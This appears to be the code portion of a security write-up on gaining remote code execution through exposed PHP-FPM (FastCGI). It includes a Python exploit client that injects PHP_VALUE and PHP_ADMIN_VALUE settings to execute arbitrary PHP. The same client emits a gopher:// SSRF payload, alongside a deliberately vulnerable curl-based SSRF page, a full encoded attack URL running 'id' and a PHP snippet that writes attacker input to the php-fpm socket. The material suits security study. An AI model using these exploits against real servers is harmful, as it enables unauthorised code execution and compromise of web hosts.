1. sudo apt update
2. sudo apt install -y nginx
3. sudo apt install -y software-properties-common
4. sudo add-apt-repository -y ppa:ondrej/php
5. sudo apt update
6. sudo apt install -y php7.3-fpm

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'

#!/usr/bin/python

import socket
import random


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        return chr(FastCGIClient.__FCGI_VERSION) \
               + chr(fcgi_type) \
               + chr((requestid >> 8) & 0xFF) \
               + chr(requestid & 0xFF) \
               + chr((length >> 8) & 0xFF) \
               + chr(length & 0xFF) \
               + chr(0) \
               + chr(0) \
               + content

    def __encodeNameValueParams(self, name, value):
        nLen = len(str(name))
        vLen = len(str(value))
        record = ''
        if nLen < 128:
            record += chr(nLen)
        else:
            record += chr((nLen >> 24) | 0x80) \
                      + chr((nLen >> 16) & 0xFF) \
                      + chr((nLen >> 8) & 0xFF) \
                      + chr(nLen & 0xFF)
        if vLen < 128:
            record += chr(vLen)
        else:
            record += chr((vLen >> 24) | 0x80) \
                      + chr((vLen >> 16) & 0xFF) \
                      + chr((vLen >> 8) & 0xFF) \
                      + chr(vLen & 0xFF)
        return record + str(name) + str(value)

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = ord(stream[0])
        header['type'] = ord(stream[1])
        header['requestId'] = (ord(stream[2]) << 8) + ord(stream[3])
        header['contentLength'] = (ord(stream[4]) << 8) + ord(stream[5])
        header['paddingLength'] = ord(stream[6])
        header['reserved'] = ord(stream[7])
        return header

    def __decodeFastCGIRecord(self):
        header = self.sock.recv(int(FastCGIClient.__FCGI_HEADER_SIZE))
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = ''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                buffer = self.sock.recv(contentLength)
                while contentLength and buffer:
                    contentLength -= len(buffer)
                    record['content'] += buffer
            if 'paddingLength' in record.keys():
                skiped = self.sock.recv(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = ""
        beginFCGIRecordContent = chr(0) \
                                 + chr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + chr(self.keepalive) \
                                 + chr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = ''
        if nameValuePairs:
            for (name, value) in nameValuePairs.iteritems():
                # paramsRecord = self.__encodeNameValueParams(name, value)
                # request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, '', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, post, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, '', requestId)
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = ''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        while True:
            response = self.__decodeFastCGIRecord()
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)

requestId = random.randint(1, (1 << 16) - 1)

typedef struct {
    u_char  version;
    u_char  type;
    u_char  request_id_hi;
    u_char  request_id_lo;
    u_char  content_length_hi;
    u_char  content_length_lo;
    u_char  padding_length;
    u_char  reserved;
} ngx_http_fastcgi_header_t;

if (val_len > 127) {
                *e.pos++ = (u_char) (((val_len >> 24) & 0x7f) | 0x80);
                *e.pos++ = (u_char) ((val_len >> 16) & 0xff);
                *e.pos++ = (u_char) ((val_len >> 8) & 0xff);
                *e.pos++ = (u_char) (val_len & 0xff);

            } else {
                *e.pos++ = (u_char) val_len;
            }

def __encodeNameValueParams(self, name, value):
        nLen = len(str(name))
        vLen = len(str(value))
        record = ''
        if nLen < 128:
            record += chr(nLen)
        else:
            record += chr((nLen >> 24) | 0x80) \
                      + chr((nLen >> 16) & 0xFF) \
                      + chr((nLen >> 8) & 0xFF) \
                      + chr(nLen & 0xFF)
        if vLen < 128:
            record += chr(vLen)
        else:
            record += chr((vLen >> 24) | 0x80) \
                      + chr((vLen >> 16) & 0xFF) \
                      + chr((vLen >> 8) & 0xFF) \
                      + chr(vLen & 0xFF)
        return record + str(name) + str(value)

#!/usr/bin/python
# -*- coding:utf-8 -*-

import socket
import random
import argparse
import sys
from io import BytesIO
from six.moves.urllib import parse as urlparse

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        #return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        # 前面都是构造的tcp数据包,下面是发送,所以我们可以直接注释掉下面内容,然后返回request
        #self.sock.send(request)
        #self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        #self.requests[requestId]['response'] = ''
        #return self.__waitForResponse(requestId)
        return request

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    # 这里调用request,然后返回tcp数据流,所以修改这里url编码一下就好了
    #response = client.request(params, content)
    #print(force_text(response))
    request_ssrf = urlparse.quote(client.request(params, content))
    print("gopher://127.0.0.1:" + str(args.port) + "/_" + request_ssrf)

<?php
function curl($url){
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_HEADER, 0); 
                curl_exec($ch);
                curl_close($ch); 
}
$url = $_GET['url'];
curl($url);
?>

http://10.211.55.21/ssrf1.php?url=gopher://127.0.0.1:9000/_%01%01%A7L%00%08%00%00%00%01%00%00%00%00%00%00%01%04%A7L%01%D8%00%00%0E%02CONTENT_LENGTH23%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%16SCRIPT_FILENAME/var/www/html/test.php%0B%16SCRIPT_NAME/var/www/html/test.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%16REQUEST_URI/var/www/html/test.php%01%04%A7L%00%00%00%00%01%05%A7L%00%17%00%00%3C%3Fphp%20echo%20%60id%60%3Bexit%3B%3F%3E%01%05%A7L%00%00%00%00

<?php $sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));?>